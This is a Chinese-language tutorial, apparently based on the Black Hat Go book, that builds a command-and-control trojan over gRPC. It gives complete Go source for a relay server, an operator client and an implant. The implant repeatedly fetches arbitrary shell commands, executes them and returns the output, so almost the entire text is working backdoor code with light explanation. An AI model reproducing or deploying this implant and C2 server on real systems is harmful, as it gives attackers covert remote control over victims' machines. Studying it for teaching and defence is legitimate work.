Go黑帽子|通过gRPC构建C2木马
结构
分为RPC服务器、管理端和植入端三部分,管理端通过protoBuf协议向RPC服务器发送命令,服务器将命令转发给植入端并取回结果发送给管理端
目录结构如下:
$ tree
.
|-- client
| |-- client.go
|-- grpcapi
| |--implant.proto
| |--palnt.pb.go
|-- implant
| |-- implant.go
|-- server
| |--server.go
gRPC原理
Google公司开发的一个高性能、开源和通用的 RPC 框架,一般使用protoBuf作为序列化协议,本例中通过proto文件定义通信双方的API和消息,在RPC服务器中实现API,客户端中只要引入proto文件,就可以远程调用服务器中的API,并在客户端和服务器间同步消息
proto文件
在proto文件中定义两个service(也就是RPC服务器提供的两个服务类),service下定义方法接口,然后声明两种消息
syntax = "proto3";
package grpcapi;
option go_package = "./";
// Implant defines our C2 API functions
service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
}
// Admin defines our Admin API functions
service Admin {
rpc RunCommand (Command) returns (Command);
}
// Command defines a with both input and output fields
message Command {
string In = 1;
string Out = 2;
}
// Empty defines an empty message used in place of null
message Empty {
}
用以下命令将proto文件进行编译为go文件,生成新文件palnt.pb.go,包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和管理端。
protoc -I . implant.proto --go_out=plugins=grpc:./
RPC服务端server
实现了proto文件中的两个服务类和相关方法,并启动服务
为服务类添加了Command消息类型的通道work和output
type implantServer struct {
work, output chan *grpcapi.Command
}
type adminServer struct {
work, output chan *grpcapi.Command
}
NewImplantServer
和NewAdminServer
是构造方法,确保通道正确的初始化
func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
FetchCommand
用于从通道中读出命令字符串
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
// No work
return cmd, nil
}
}
SendOutput
用于将命令执行结果写入通道
func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
return &grpcapi.Empty{}, nil
}
RunCommand
用于将命令字符串写入通道,并将执行结果从通道读出
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <-s.output
return res, nil
}
完整代码如下,main函数中创建了work和output通道,用于在两个类的携程间传递值,然后通过net.Listen在相应端口监听,随后通过protoc提供的RegisterImplantServer
将监听实例注册到gRPC服务器
package main
import (
"context"
"errors"
"fmt"
"log"
"net"
"github.com/blackhat-go/bhg/ch-14/grpcapi"
"google.golang.org/grpc"
)
type implantServer struct {
work, output chan *grpcapi.Command
}
type adminServer struct {
work, output chan *grpcapi.Command
}
func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
// No work
return cmd, nil
}
}
func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
return &grpcapi.Empty{}, nil
}
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <-s.output
return res, nil
}
func main() {
var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
if implantListener, err = net.Listen("tcp", fmt.Sprintf("localhost:%d", 4444)); err != nil {
log.Fatal(err)
}
if adminListener, err = net.Listen("tcp", fmt.Sprintf("localhost:%d", 9090)); err != nil {
log.Fatal(err)
}
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
go func() {
grpcImplantServer.Serve(implantListener)
}()
grpcAdminServer.Serve(adminListener)
}
管理端client
通过grpc.Dial连接到RPC服务器,通过protoc提供的NewAdminClient
创建管理端的client实例,通过RunCommand将命令字符串传递给服务端的work通道,并将服务端的output通道结果读出
package main
import (
"context"
"fmt"
"log"
"os"
"github.com/blackhat-go/bhg/ch-14/grpcapi"
"google.golang.org/grpc"
)
func main() {
var (
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.AdminClient
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 9090), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
var cmd = new(grpcapi.Command)
cmd.In = os.Args[1]
ctx := context.Background()
cmd, err = client.RunCommand(ctx, cmd)
if err != nil {
log.Fatal(err)
}
fmt.Println(cmd.Out)
}
植入端implant
通过grpc.Dial连接到RPC服务器,通过protoc提供的NewImplantClient
创建管理端的client实例,在一个循环中,通过FetchCommand
从服务端的work通道读取命令,并将执行结果通过SendOutput
写入服务端的output通道
package main
import (
"context"
"fmt"
"log"
"os/exec"
"strings"
"time"
"github.com/blackhat-go/bhg/ch-14/grpcapi"
"google.golang.org/grpc"
)
func main() {
var (
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.ImplantClient
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn)
ctx := context.Background()
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
if cmd.In == "" {
// No work
time.Sleep(3 * time.Second)
continue
}
tokens := strings.Split(cmd.In, " ")
var c *exec.Cmd
if len(tokens) == 1 {
c = exec.Command(tokens[0])
} else {
c = exec.Command(tokens[0], tokens[1:]...)
}
buf, err := c.CombinedOutput()
if err != nil {
cmd.Out = err.Error()
}
cmd.Out += string(buf)
client.SendOutput(ctx, cmd)
}
}